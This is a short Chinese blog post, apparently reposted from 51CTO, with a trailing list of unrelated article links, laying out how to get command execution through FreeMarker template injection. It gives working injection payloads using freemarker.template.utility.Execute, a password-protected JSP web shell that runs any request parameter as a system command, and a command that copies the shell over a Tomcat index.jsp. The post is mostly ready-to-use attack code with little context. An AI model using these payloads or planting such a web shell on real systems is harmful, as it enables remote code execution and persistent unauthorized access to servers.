FreeMarker执行系统命令

简介:

1、寻找可以上传FTL模板的漏洞点


2、尝试注入FTL模板

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("id")}


3、查找上传的FTL文件保存路径

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("find / -name *.ftl")}


4、获取WebShell

1
2
3
4
# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
1
2
3
4
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl 
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}


5、访问index.jsp


















本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1936931 ,如需转载请自行联系原作者




相关文章
|
20天前
|
Java Shell
SpringBoot一键停止脚本Shell
SpringBoot一键停止脚本Shell
8 0
|
5月前
|
Java Shell Linux
java执行脚本命令(shell脚本或cmd脚本)
java执行脚本命令(shell脚本或cmd脚本)
|
11月前
|
Shell Linux
在 Shell 脚本中执行语法检查调试模式
在 Shell 脚本中执行语法检查调试模式
127 0
脚本中调用别的脚本,如何得到执行结果?
脚本中调用别的脚本,如何得到执行结果?
62 0
|
Shell
[Shell]获取当前正在执行脚本的绝对路径
1. pwd命令 我们看看使用pwd命令能否获取当前正在执行脚本的绝对路径。该命令的作用是“print name of current/working directory”,真实含义是当前工作目录,并不是正在执行脚本的目录。
1721 0
|
Java
【Groovy】Groovy 脚本调用 ( 命令行执行 Groovy 脚本并传入参数 | 获取 Groovy 脚本执行参数 )
【Groovy】Groovy 脚本调用 ( 命令行执行 Groovy 脚本并传入参数 | 获取 Groovy 脚本执行参数 )
904 0
【Groovy】Groovy 脚本调用 ( 命令行执行 Groovy 脚本并传入参数 | 获取 Groovy 脚本执行参数 )
|
Java Shell 数据安全/隐私保护

相关课程

更多